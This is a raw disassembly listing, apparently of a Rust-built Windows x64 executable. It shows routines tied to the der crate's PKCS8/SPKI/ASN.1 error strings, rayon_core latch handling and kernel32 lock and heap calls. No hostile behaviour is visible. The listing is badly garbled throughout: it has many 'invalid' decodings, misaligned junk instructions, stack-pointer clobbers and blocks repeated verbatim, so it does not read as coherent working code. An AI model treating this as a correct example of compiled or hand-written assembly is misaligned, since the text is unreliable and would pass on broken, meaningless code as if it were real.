mov r13d, dword [rsp + 0x34]
mov r12, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
mov r8, rdx
and r8, r14
mov r9, qword [rsp + 0x48]
mov ecx, dword [rsp + 0x48]
ror byte [rbp + 0x21], 1
invalid
mov ecx, dword [rsp + 0x48]
movups xmm0, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0x70], xmm0
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x80], rax
add byte [rax], 0
invalid
add byte [rax], 0
add byte [rcx - 0x3ff6b330], cl
mov eax, edx
or rax, r8
ror byte [rcx + rcx - 0x40], 1
mov edx, 0xffffffff
or r14, rdx
and r14, r9
mov rdx, qword [rsp + 0x80]
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0x70], al
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0x70], al
movaps xmmword [rsp + 0x30], xmm0
and al, 0x30
mov qword [rsp + 0x40], rdx
mov ebx, ecx
jmp 0x140063553
mov rdx, qword [rcx + 8]
mov eax, dword [rcx + 0x18]
sub rdx, rax
jae 0x1400637ac
or byte [rbx + 0x29481841], cl
ret 0x3c73
mov eax, dword [rcx + 0x10]
adc byte [rbp - 0x2dcefeb8], cl
lea ecx, [rax + 1]
xor edx, edx
cmp ecx, 0x10000000
setae dl
mov r12d, eax
invalid
inc r12d
invalid
lea rcx, [rdx + rdx*8 + 3]
mov r13d, 0xc
add byte [rax], al
add byte [rdi + rcx + 0x45], cl
jmp 0x160eaf8e3
mov edx, eax
invalid
xchg ebx, eax
ret 0x8941
invalid
invalid
add byte [rax], al
add byte [rdi + rcx + 0x45], cl
jmp 0x160eaf8e3
ret 0x94d
or r12, r13
mov ecx, 1
add byte [rax], al
add byte [rax], al
xor r8d, r8d
mov r13d, eax
jmp 0x140063736
invalid
mov al, byte [rcx - 0x77]
invalid
mov r13d, eax
add r13d, ebx
setb r9b
cmp r13d, 0x10000000
setae r8b
setae al
setae al
xchg ebx, eax
rol byte [rbp + 8], 0xc8
or r8b, r9b
cmp rdx, rbx
jae 0x1400637e1
test r8b, r8b
jne 0x1400637e6
mov edx, dword [rcx + 0x10]
mov byte [rcx + 0x1c], 1
sbb al, 1
sbb al, 1
shl r13, 0x20
mov r12d, 3
mov esp, 3
mov esp, 3
add eax, dword [rax]
add byte [rax], al
invalid
jmp 0x14006379c
test r8b, r8b
je 0x140063803
mov r12d, 0xc
xor ecx, ecx
xor r8d, r8d
xor eax, eax
xor eax, eax
jmp 0x140063736
or al, 0
add byte [rax], al
add byte [rax], al
add cl, ch
invalid
popfq
invalid
jmp 0x1400636a0
mov rdx, qword [rcx]
add rdx, rax
mov dword [rcx + 0x18], r13d
imul ebx, dword [rax], 0xcb8
invalid
imul ebx, dword [rax], 0xcb8
add byte [rcx - 0x44], al
invalid
or al, 0
add byte [rax], al
mov r12d, 0x107
test rbx, rbx
invalid
je 0x140063871
invalid
cmp ebx, 1
jne 0x140063876
sti
add dword [rbp + 0x54], esi
movzx ecx, byte [rdx]
test cl, cl
jne 0x140063881
mov r8d, 1
jmp 0x14006388c
add bl, ch
pop rbx
add edx, 0xffff0000
mov cl, 0x83
cmp edx, 0xff0000
invalid
cli
add byte [rax], al
inc dword [rax]
invalid
add byte [rcx - 0x48], al
or eax, 0x72000000
add byte [rax], al
add byte [rdx + 0x11], dh
lea eax, [r13 - 0x1000000]
mov r8d, 0xd
jb 0x140063858
add byte [rax], al
add byte [rdx + 0x11], dh
lea eax, [r13 - 0x1000000]
add byte [rax], al
add bh, bh
cmp eax, 0xf000000
setb al
mov cl, 0x84
xor ebx, ebx
test al, al
je 0x14006386c
cmp cl, bpl
je 0x14006343c
invalid
invalid
jmp 0x1400636a0
invalid
jmp 0x1400636a0
invalid
jmp 0x140063553
movzx ecx, byte [rdx]
mov dh, 0xa
test cl, cl
je 0x14006393d
mov r8, rbx
mov eax, ebx
test cl, cl
js 0x140063930
add byte [rax], al
add r8, 2
dec rdx
mov r14, r8
lea rcx, [rdx + 1]
dec r8
cmp r14, 3
je 0x1400638ac
cmp byte [rdx + 1], 0
mov rdx, rcx
je 0x140063893
add byte [rax - 0x77], cl
retf 0xe774
add r14, 0xfffffffffffffffe
cmp r14, 0xfffffff
invalid
invalid
invalid
dec dword [rdi]
emms
invalid
invalid
emms
push 0x44
mov edx, esi
mov edx, r14d
mov r10, rcx
xor r9d, r9d
cmp r8, 1
je 0x140063907
movzx r9d, byte [r10]
lea r13, [r8 - 1]
push 0xfffffffff88349ff
invalid
je 0x1400638e1
push 0xfffffffff88349ff
add dh, byte [rbx + rcx + 0x49]
inc r10
inc r10
mov r8, r13
test r9b, r9b
je 0x1400638bf
mov r8, r13
shr r8, 0x20
jne 0x14006394a
cmp r13d, 0xfffffff
ja case.0x1400279a8.362
leave
shr r9d, 7
add r9d, r13d
cmp r9d, 0xfffffff
ja 0x14006394a
cmp r9d, ebx
jne 0x140063952
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], r14
mov qword [rsi + 0x18], rdx
mov dword [rsi], 2
jmp 0x140063599
xor ebx, ebx
mov r12d, 0x1010106
jmp 0x140063553
xor ebx, ebx
mov r12d, 0x117
jmp 0x140063553
cmp byte [rdx + 1], 0
js 0x14006395a
xor ebx, ebx
jmp 0x140063553
cld
invalid
invalid
cld
invalid
mov r12d, 0xc
jmp 0x14006396c
mov r12d, 0x1010107
mov esp, 0x1010107
jmp 0x140063971
inc rdx
lea r8, [rbx - 1]
jmp 0x14006388c
mov r12d, 0xc
mov eax, 0xc
add byte [rax], al
add byte [rax], al
xor ebx, ebx
jmp 0x140063553
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x88
mov rdi, r8
mov rsi, rcx
mov esi, ecx
mov esi, ecx
mov r15, r8
shr r15, 0x20
jne 0x140063a63
cmp edi, 0xfffffff
ja 0x140063a63
mov rbx, rdx
mov r14d, edi
mov qword [rsp + 0x68], rdx
mov dword [rsp + 0x70], edi
and al, 0x70
and al, 0x70
mov dword [rsp + 0x74], r15d
mov qword [rsp + 0x78], r14
mov qword [rsp + 0x80], 0
add byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
jl 0x1400639ff
jo 0x140063a25
test edi, edi
add byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
jl 0x1400639ff
jo 0x140063a25
test edi, edi
je 0x140063a73
mov dword [rsp + 0x80], 1
movzx edx, byte [rbx]
and al, 0x80
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rdi], cl
mov dh, 0x13
lea rcx, [rsp + 0x30]
call fcn.14004ab20
mov eax, dword [rsp + 0x30]
xor al, ch
and esi, dword [rcx - 2]
dec dword [rbx - 0x7ccfdbbc]
clc
add cl, byte [rdi]
test dword [rdx + 0x48000000], edx
cmp edi, 1
and al, 0x30
cmp eax, 2
jne 0x140063a9c
cmp rdi, 1
jne 0x140063b36
test dword [rdx], esp
add dword [rax], eax
add dh, al
test byte [rsp + rax*4], ah
add byte [rax], al
add byte [rcx], al
mov byte [rsp + 0x84], 1
mov edi, 1
add byte [rax], al
movabs r8, 0x200000003
mov eax, 3
add byte [rax], al
add al, byte [rax]
add byte [rax], al
invalid
add byte [rax + 1], bh
mov eax, 1
add byte [rax], al
mov r15, r8
shr r15, 8
mov r9, r8
shr r9, 0x20
shr ecx, 0x20
invalid
shr ecx, 0x20
mov ebp, r8d
mov dword [rsp + 0x20], edi
mov byte [rsp + 0x24], bpl
mov word [rsp + 0x25], r15w
and al, 0x25
shr r15d, 0x10
mov byte [rsp + 0x27], r15b
mov dword [rsp + 0x28], r9d
jmp 0x140063aed
xor eax, eax
mov r8d, 0xc
add byte [rcx - 0x77], al
invalid
add byte [rcx - 0x77], al
invalid
jmp 0x140063af9
mov byte [rsp + 0x84], 1
mov dword [rsp + 0x34], 0
test byte [rax], al
add byte [rax], al
add edi, eax
and al, 0x34
add byte [rax], al
add byte [rax], al
movabs rax, 0x100000003
add byte [rax], al
mov qword [rsp + 0x38], rax
mov eax, 1
xor r8d, r8d
jmp 0x140063ab2
invalid
movzx ecx, byte [rsp + 0x36]
shl ecx, 0x10
movzx r8d, word [rsp + 0x34]
or r8d, ecx
mov r14, qword [rsp + 0x40]
movzx ecx, byte [rsp + 0x3f]
mov byte [rsp + 0x2b], cl
sub ecx, dword [rax - 0x75]
and al, 0x37
sub ecx, dword [rax - 0x75]
and al, 0x37
mov qword [rsp + 0x23], rcx
mov rbx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
movsd xmm0, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
mov word [rsp + 0x20], r8w
shr r8d, 0x10
call 0x1848e7ef7
and al, 0x22
call 0x1848e7ef7
adc byte [rax + rcx*4 + 0x44], al
and al, 0x22
mov edi, dword [rsp + 0x20]
jl 0x140063b10
and byte [rbp - 0x77], cl
test dword [rcx - 0x3f], 0x8b4c20ef
and al, 0x24
mov r15, r14
shr r15, 0x20
mov r8, qword [rsp + 0x24]
mov qword [rsi], 4
mov dword [rsi], 4
mov dword [rsi + 8], eax
mov dword [rsi + 0xc], edi
mov qword [rsi + 0x10], r8
mov dword [rsi + 0x18], r14d
mov dword [rsi + 0x18], esi
mov dword [rsi + 0x1c], r15d
jle 0x140063b2e
mov qword [rsi + 0x20], rbx
mov qword [rsi + 0x28], rcx
movlps qword [rsi + 0x30], xmm0
mov qword [rsi + 0x38], rdx
mov dword [rsi + 0x38], edx
add rsp, 0x88
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop rsp
pop r13
pop r14
pop rsi
pop rsi
pop r15
ret
movzx eax, byte [rsp + 0x36]
shl eax, 0x10
movzx r15d, word [rsp + 0x34]
and al, 0x34
and al, 0x34
or r15d, eax
mov dword [rsp + 0x80], 2
movzx r12d, byte [rbx + 1]
test r12b, r12b
js 0x140063c74
mov edi, r12d
mov dword [rsp + 0x20], edi
mov word [rsp + 0x24], r15w
shr r15d, 0x10
mov byte [rsp + 0x26], r15b
mov r9, qword [rsp + 0x20]
movabs rax, 0xff00000000
and rax, r9
enter 0xffffffffffffb948, 0
add byte [rax], al
add byte [rcx], cl
add byte [rax], al
add byte [rax + 0x39], cl
enter 0xffffffffffff850f, 0xffffffffffffffef
add byte [rax], al
invalid
enter 0xffffffffffffb948, 0
add byte [rax], al
add byte [rcx], cl
add byte [rax], al
add byte [rax + 0x39], cl
enter 0xffffffffffff850f, 0xffffffffffffffef
add byte [rax], al
add byte [rbx + rcx*4 + 0x74], al
and al, 0x78
mov r14d, dword [rsp + 0x78]
mov edi, dword [rsp + 0x80]
xor eax, eax
sub r14d, edi
cmovb r14d, eax
xor ecx, ecx
cmp r14d, r9d
setne cl
mov eax, 0xff
cmovbe eax, ecx
test al, al
je 0x140063bd2
invalid
invalid
movzx eax, al
cmp eax, 0xff
jne 0x140063da2
sar byte [0x140063ccc], 0xf
test eax, edx
add dword [rax], eax
add byte [rax - 0x73], cl
and al, 0x68
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], r9d
mov dword [rsp + 0x2c], 0
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x30
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x30
lea rdx, [rsp + 0x20]
call fcn.1400633a0
mov eax, dword [rsp + 0x30]
cmp eax, 2
jne 0x140063d75
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rbx + rcx*4 + 0x64], cl
mov esp, dword [rsp + 0x38]
mov r12, qword [rsp + 0x38]
mov esp, dword [rsp + 0x38]
mov ebp, dword [rsp + 0x40]
mov r15d, dword [rsp + 0x44]
mov rbx, qword [rsp + 0x48]
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x20]
call fcn.1400633a0
mov eax, dword [rsp + 0x30]
cmp eax, 2
jne 0x140063d75
mov rcx, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x48]
movsd xmm0, qword [rsp + 0x40]
and al, 0x40
and al, 0x40
mov r14d, dword [rsp + 0x28]
mov edi, dword [rsp + 0x2c]
and al, 0x2c
and al, 0x2c
cmp r14d, edi
jbe 0x140063e25
xor eax, eax
sub r14d, edi
cmovb r14d, eax
mov r8, rdi
shl r8, 0x20
or r8, 0x15
mov eax, 1
jmp 0x140063af9
invalid
inc dword [rcx - 0x7f]
cld
add byte [rax], 0
add byte [rbp + 0x2d], dh
cmp r12d, 0x80
jne 0x140063caa
xor eax, eax
mov r8d, 5
add byte [rax], al
add byte [rax], al
jmp 0x140063a30
cmpsb byte [rsi], byte [rdi]
std
invalid
movabs rax, 0xffffff00000000
and r9, rax
ror dword [rcx - 0x7f], 0xc9
adc ecx, dword [rcx]
add byte [rax], al
ror dword [rcx - 0x7f], 0xc9
adc ecx, dword [rcx]
add byte [rax], al
xor edi, edi
mov r8, r9
xor eax, eax
jmp 0x140063a6e
mov bpl, 6
cmp r12b, 0x84
ja 0x140063de5
mov r13, r12
xor edi, edi
xor r13, 0x80
je 0x140063d54
lea rbx, [rsp + 0x30]
lea r14, [rsp + 0x68]
mov rcx, rbx
mov rdx, r14
mov r8d, 1
call fcn.14004ba50
mov eax, dword [rsp + 0x30]
cmp eax, 2
jne 0x140063df4
add byte [rax], al
add byte [rax], al
mov rdx, qword [rsp + 0x40]
cmp rdx, 1
jne 0x140063e90
invalid
add byte [rcx + 0x8e0c1f8], cl
mov eax, edi
shl eax, 8
mov rcx, qword [rsp + 0x38]
movzx edi, byte [rcx]
or edi, eax
dec r13
jne 0x140063cd3
cmp edi, 0x10000000
jae 0x140063e4e
mov r8d, edi
and r8d, 0xffffff80
mov cl, 1
mov dl, 0x81
cmp r8d, 0x80
add byte [rax], 0
invalid
je 0x140063d64
add byte [rax], 0
add byte [rax + rsi + 0x44], dh
lea eax, [rax - 0x100]
lea r8d, [rax - 0x100]
mov dl, 0x82
cmp r8d, 0xff00
cmp eax, 0xff00
cmp eax, 0xff00
jb 0x140063d64
add eax, 0xffff0000
mov dl, 0x83
cmp eax, 0xff0000
add byte [rax], al
inc dword [rax]
add byte [rax], al
inc dword [rax]
add bh, bh
add byte [rdx + 0x10], dh
jb 0x140063d64
lea eax, [rdi - 0x1000000]
cmp eax, 0xf000000
invalid
setb cl
mov dl, 0x84
invalid
xor eax, eax
test cl, cl
je 0x140063de7
cmp dl, r12b
je 0x140063b63
test al, dh
std
invalid
invalid
test al, dh
std
invalid
jmp 0x140063de7
mov edi, dword [rsp + 0x34]
and al, 0x34
mov r8, qword [rsp + 0x38]
mov r14d, dword [rsp + 0x40]
mov r15d, dword [rsp + 0x44]
mov rbx, qword [rsp + 0x48]
pop rsp
and al, 0x48
pop rsp
and al, 0x48
mov rcx, qword [rsp + 0x50]
movsd xmm0, qword [rsp + 0x58]
and al, 0x58
and al, 0x58
mov rdx, qword [rsp + 0x60]
jmp 0x140063af9
add r9d, edi
setb cl
xchg edx, eax
sal dword [rcx], 0xc0
xchg edx, eax
sal dword [rcx], 0xc0
mov r8d, 0xc
mov eax, 0xc
cmp r9d, 0xfffffff
ja 0x140063dec
test cl, cl
jne 0x140063dec
add r14d, edi
setb cl
cmp r14d, 0xfffffff
ja 0x140063e46
test cl, cl
jne 0x140063e46
shl r9, 0x20
or r9, 3
mov eax, 1
and byte [rcx - 0x7d], cl
leave
add edi, dword [rax + 1]
mov r8, r9
jmp 0x140063a6e
xor eax, eax
shr cl, 0x55
cld
invalid
jmp 0x140063a41
mov edi, r9d
jmp 0x140063a6e
invalid
dec dword [rbx + 0x4c34247c]
mov eax, dword [rsp + 0x38]
mov edi, dword [rsp + 0x34]
mov r8, qword [rsp + 0x38]
mov r14, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
movsd xmm0, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
cmp r8b, 0xd
jne 0x140063a30
xor eax, eax
jmp 0x140063de7
mov edi, dword [rsp + 0x80]
cmp byte [rsp + 0x84], 0
add byte [rax], al
add byte [rax], al
add byte [rbp + riz + 0x41], dh
mov eax, 1
je case.0x14004e4ab.39
mov r8d, 1
mov eax, 1
jmp 0x140063af9
mov edi, r14d
jmp 0x140063a6e
xor eax, eax
mov r8d, 0xc
or al, 0
add byte [rax], al
rol byte [rcx - 0x48], 0xc
add byte [rax], al
add cl, ch
invalid
or al, 0
add byte [rax], al
jmp 0x140063a30
mov r14d, dword [rsp + 0x78]
cmp r14d, edi
ja 0x140063c56
invalid
invalid
invalid
mov qword [rsi + 8], r12
mov dword [rsi + 0x10], ebp
outsb dx, byte [rsi]
adc byte [rcx + rcx*4 + 0x7e], al
jle 0x140063e88
outsb dx, byte [rsi]
adc byte [rcx + rcx*4 + 0x7e], al
jle 0x140063e88
mov qword [rsi + 0x18], rbx
jle 0x140063e88
mov qword [rsi + 0x18], rbx
sbb byte [rax - 0x77], cl
and byte [rdi], r9b
adc eax, dword [rsi + 0x28]
mov qword [rsi + 0x20], rcx
movlps qword [rsi + 0x28], xmm0
sub byte [rax - 0x77], cl
push rsi
xor byte [rax - 0x39], cl
invalid
mov qword [rsi + 0x30], rdx
mov qword [rsi], 8
add cl, ch
xchg edx, eax
cld
invalid
invalid
add byte [rax], al
add cl, ch
xchg edx, eax
cld
invalid
dec dword [rbp + rcx*4 + 5]
jns case.0x14004e78a.32
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fder_0.7.8_src_reader.rs
mov ecx, 1
add byte [rax], al
invalid
add byte [rax], al
add al, ch
mov edi, 0xf000465
call fcn.1400aa460
ud2
invalid
or ecx, esp
int3
int3
int3
lea r9, [0x1400ef990]
movsxd rax, dword [r9 + rax*4]
sar byte [rdx + 0x63490008], cl
add al, 0x81
add rax, r9
add eax, ecx
jmp rax
add rcx, 8
mov qword [rsp + 0x20], rcx
and al, 0x20
and al, 0x20
lea rax, [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x28], eax
and al, 0x28
lea rax, [0x140063090]
mov qword [rsp + 0x30], rax
lea rax, [0x1400e2198]
jmp 0x140063f28
invalid
mov r9, qword [r8 + 0x18]
lea rax, [0x1400e21cf]
invalid
loop 0x140063f00
invalid
sbb byte [rax - 0x73], cl
add eax, 0x7e2d5
invalid
loop 0x140063f00
invalid
invalid
mov r8d, 0x25
jmp 0x140063f7c
add rcx, 8
mov qword [rsp + 0x20], rcx
lea rax, [rsp + 0x20]
mov qword [rsp + 0x28], rax
lea rax, [0x140063f90]
lea eax, [0x140063f90]
lea eax, [0x140063f90]
mov qword [rsp + 0x30], rax
lea rax, [0x1400e2208]
add eax, 0x7e2e0
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x58], 0
lea rax, [rsp + 0x28]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
mov dword [rsp + 0x50], 1
mov dword [rsp + 0x50], 1
lea rax, [rsp + 0x38]
mov rcx, rdx
mov rdx, r8
mov edx, eax
cmp byte [rax - 0x77], cl
ror dword [rcx + rcx*4 - 0x3e], 1
mov edx, eax
mov edx, eax
mov r8, rax
call fcn.140042180
nop
add rsp, 0x68
sbb esp, edx
std
loop 0x140063f61
call qword [rax + 0x68c48348]
ret
mov r9, qword [r8 + 0x18]
lea rax, str.PKCS8_cryptographic_key_data_malformedPKCS8_algorithm_parameters_malformedpublic_key_error:
xor ah, dl
invalid
add byte [rcx - 0x48], al
invalid
add byte [rax], al
invalid
mov rcx, rdx
mov rdx, rax
ror dword [rax - 0x77], 1
ret 0x8348
add rsp, 0x68
jmp r9
int3
sar esi, 0x83
stc
add al, 0x41
mov eax, 1
cmovb r8d, ecx
lea rcx, [0x1400ef9a0]
lea ecx, [0x1400ef9a0]
add byte [rax], al
add byte [rdi + rcx + 0x42], al
ror dword [rax - 0x73], 0xd
invalid
invalid
invalid
lea ecx, [0x1400ef9a0]
movsxd r8, dword [rcx + r8*4]
add al, 0x81
add r8, rcx
jmp r8
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.AlgorithmIdentifier_parameters_missingASN.1_error:
cmp cl, byte [rax]
add byte [rcx - 0x48], al
add byte es:[rax], al
add byte [rax - 0x7d], cl
invalid
invalid
jmp rax
cmp cl, byte [rax]
add byte [rcx - 0x48], al
add byte es:[rax], al
add byte [rax - 0x7d], cl
invalid
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.SPKI_cryptographic_key_data_malformedunknown_unsupported_algorithm_OID:
mov r8d, 0x25
add rsp, 0x68
cmp cl, byte [rax]
add byte [rcx - 0x48], al
and eax, 0x48000000
add esp, 0x68
jmp rax
add rax, 4
mov qword [rsp + 0x20], rax
and byte [rax - 0x73], cl
and al, 0x20
and byte [rax - 0x73], cl
and al, 0x20
mov qword [rsp + 0x28], rax
lea rax, [0x14004b6f0]
invalid
dec dword [rax - 0x77]
and al, 0x30
lea rax, [0x1400e7ac0]
jmp 0x140064044
invalid
mov qword [rsp + 0x20], rax
lea rax, [rsp + 0x20]
mov qword [rsp + 0x28], rax
lea rax, [0x140063090]
mov qword [rsp + 0x30], rax
lea rax, [0x1400e7a68]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x58], 0
lea rax, [rsp + 0x28]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
lea r8, [rsp + 0x38]
call fcn.140042180
nop
add rsp, 0x68
ret
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
mov qword [rax + 0x98], rsi
mov rdi, qword [rsp + 0x180]
add byte [rbx + rcx*4 - 0x44], cl
and al, 0x90
add dword [rax], eax
add byte [rcx - 0x75], cl
xchg edi, eax
adc byte [rdx], al
add byte [rax], al
add byte [rax], al
cmp rdi, rdx
jae 0x14006852d
lea rbx, [rdi + rdi*8]
shl rbx, 3
add rbx, qword [r15 + 0x200]
mov rcx, rbx
call qword [sym.imp.kernel32.dll_AcquireSRWLockExclusive]
fcos
adc eax, 0x481d3
mov rax, qword [0x1400f9290]
shl rax, 1
test rax, rax
test eax, eax
test eax, eax
jne 0x140068464
xor r14d, r14d
movzx eax, byte [rbx + 8]
test al, al
jne 0x1400684cc
mov byte [rbx + 9], 1
or dword [rcx], eax
lea rcx, [rbx + 0x10]
call qword [sym.imp.kernel32.dll_WakeAllConditionVariable]
invalid
adc bh, bh
adc eax, 0x4819b
invalid
add byte [rbp - 0x7c], al
div byte [rbp + 0x13]
test r14b, r14b
jne 0x14006825d
mov rax, qword [0x1400f9290]
shl rax, 1
test rax, rax
test eax, eax
jne 0x140068501
add al, byte [rax]
add byte [rax - 0x77], cl
fcos
adc eax, 0x48172
mov rcx, rbx
call qword [sym.imp.kernel32.dll_ReleaseSRWLockExclusive]
mov rcx, qword [r15 + 0x190]
test rcx, rcx
nop
add dword [rax], eax
add byte [rax - 0x7b], cl
leave
je 0x14006827f
mov rax, qword [r15 + 0x198]
mov rdx, rdi
xchg dword [rax + 0x48000001], ebx
mov edx, edi
call qword [rax + 0x28]
mov rbx, qword [rsp + 0x180]
add byte [rax], al
mov r14, qword [rsp + 0x190]
mov rdx, qword [r14 + 0x210]
mov edx, dword [rsi + 0x210]
mov edx, dword [rsi + 0x210]
cmp rbx, rdx
jae case.0x1400261fe.493
add byte [rax], al
mov rax, qword [r14 + 0x200]
lea r12, [rbx + rbx*8]
xchg byte [rax], al
add al, byte [rax]
add byte [rbp + rcx*4 + 0x24], cl
fisttp dword [rdx - 0x75]
invalid
invalid
mov rcx, qword [rax + r12*8 + 0x30]
loopne 0x1400682df
cmp rcx, 3
jne 0x14006847e
mov rdx, qword [r14 + 0x210]
cmp rbx, rdx
jae 0x1400684a3
mov r13, qword [r14 + 0x200]
lea rbx, [r12*8 + 0x18]
add rbx, r13
add ebx, ebp
add ebx, ebp
mov rcx, rbx
call qword [sym.imp.kernel32.dll_AcquireSRWLockExclusive]
adc eax, 0x48104
mov rax, qword [0x1400f9290]
shl rax, 1
test rax, rax
jne 0x1400684b4
xor r14d, r14d
movzx eax, byte [rbx + 8]
or byte [r8 + r8*8 + 0x1c6850f], al
add byte [rax], al
or byte [r8 + r8*8 + 0x1c6850f], al
or byte [rax + rax*8 + 0x1c6850f], al
add byte [rax], al
mov byte [rbx + 9], 1
lea rcx, [r12*8 + 0x28]
in eax, 0x28
add byte [rax], al
add byte [rcx + rax - 0x17], cl
in eax, 0x28
add byte [rax], al
add byte [rcx + rax - 0x17], cl
call qword [sym.imp.kernel32.dll_WakeAllConditionVariable]
add al, 0
test r14b, r14b
jne 0x140068333
mov rax, qword [0x1400f9290]
shl rax, 1
test rax, rax
loopne 0x140068373
test eax, eax
jne case.0x140075b85.566
mov rcx, rbx
call qword [sym.imp.kernel32.dll_ReleaseSRWLockExclusive]
mov rcx, qword [r15 + 0x1a0]
mov ecx, dword [rdi + 0x1a0]
mov ecx, dword [rdi + 0x1a0]
test rcx, rcx
je 0x140068355
mov rax, qword [r15 + 0x1a8]
mov eax, dword [rdi + 0x1a8]
mov rdx, rdi
call qword [rax + 0x28]
mov eax, dword [0x1400f92c4]
or dword [rax], eax
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
cmp qword [rax + 0x98], rsi
jne 0x140068569
add byte [rax], al
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov qword [rax + 0x98], 0
mov rax, qword [rsp + 0x198]
lock dec qword [rax]
jne 0x1400683ae
lea rcx, [rsp + 0x198]
call fcn.1400675e0
mov rax, qword [rsp + 0x1b8]
lock dec qword [rax]
add al, dh
dec qword [rax]
jne 0x1400683c9
lea rcx, [rsp + 0x1b8]
call fcn.1400675e0
invalid
invalid
invalid
invalid
invalid
mov rsi, qword [rsp + 0x100]
mov rdi, qword [rsp + 0x80]
mov r8, qword [rsp + 0x88]
and rdi, 0xfffffffffffffffe
and rsi, 0xfffffffffffffffe
cmp rdi, rsi
jne 0x14006842d
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x190]
add dword [rax], eax
add al, dh
dec qword [rax]
add dword [rax], eax
add al, dh
dec qword [rax]
jne 0x140068418
lea rcx, [rsp + 0x190]
call fcn.140067650
cmp dl, dh
invalid
invalid
nop
lea rsp, [rbp + 0x1b8]
movsd dword [rdi], dword [rsi]
invalid
add dword [rax], eax
add byte [rax], al
add byte [rax], al
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rbx, qword [sym.imp.kernel32.dll_HeapFree]
jmp case.0x1400279a8.368
add rdi, 2
cmp rsi, rdi
cmp esi, edi
je 0x1400683ee
mov eax, edi
not eax
invalid
test al, 0x7e
jne 0x140068440
mov r14, qword [r8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call rbx
mov r8, r14
invalid
jmp 0x140068440
call fcn.1400ae3b0
pop r15
add al, 0
invalid
mov r14d, eax
xor r14b, 1
xor dh, 1
xor dh, 1
test byte [rcx], 0xf
mov dh, 0x43
or byte [rax + rax*8 - 0x2447bf1], al
test al, al
invalid
invalid
invalid
std
invalid
movzx eax, byte [rbx + 8]
test al, al
je 0x140068237
invalid
invalid
jmp 0x1400684cc
lea rdx, [rax + r12*8]
add rdx, 0x30
lea rcx, [rsp + 0x80]
and al, 0x80
add byte [rax], al
add al, ch
sbb eax, 0x4900043f
invalid
add al, 0
add byte [rcx - 0x75], cl
xchg esi, eax
adc byte [rdx], al
add al, byte [rax]
invalid
and al, 0x80
add byte [rax], al
add al, ch
sbb eax, 0x4900043f
invalid
add al, 0
add byte [rcx - 0x75], cl
xchg esi, eax
adc byte [rdx], al
add al, byte [rax]
invalid
invalid
add al, byte [rax]
add byte [rax + 0x39], cl
ror dword [rdi], cl
invalid
cmp rbx, rdx
jb 0x1400682c9
invalid
lea r8, [0x1400e28d8]
lea eax, [0x1400e28d8]
add eax, 0x7a42e
mov rcx, rbx
mov ecx, ebx
fld1
mov esi, 0xf000418
invalid
call fcn.1400a9d70
ud2
or ebp, eax
call fcn.1400ae3b0
neg dword [rsi + 4]
add byte [rcx - 0x77], al
mov r14d, eax
xor r14b, 1
invalid
mov r14d, eax
mov esi, eax
xor r14b, 1
test byte [rcx], 0xf
movzx eax, byte [rbx + 8]
test al, al
je 0x140068306
test byte [rdx], bh
invalid
invalid
invalid
mov dh, 0x43
or byte [rax + rax*8 - 0x1c57bf1], al
test byte [rdx], bh
invalid
test byte [rdx], bh
invalid
cmp bh, dh
invalid
mov qword [rsp + 0x70], rbx
pop rsp
and al, 0x70
mov byte [rsp + 0x78], r14b
js 0x14006851f
lea rax, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rayon_core_1.12.0_srclatch.rs
lea eax, [0x1400e2730]
add byte [rax - 0x77], cl
and al, 0x20
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea ecx, str.called__Result::unwrap____on_an__Err__value
or eax, 0x83247
xor cl, byte [rax]
add byte [rbp + rcx*4 + 0xd], cl
lea ecx, [0x1400e2630]
lea r8, [rsp + 0x70]
invalid
sub eax, dword [rax]
lea r9, [0x1400e2630]
lea ecx, [0x1400e2630]
or eax, 0x7a140
lea r8, [rsp + 0x70]
lea eax, [rsp + 0x70]
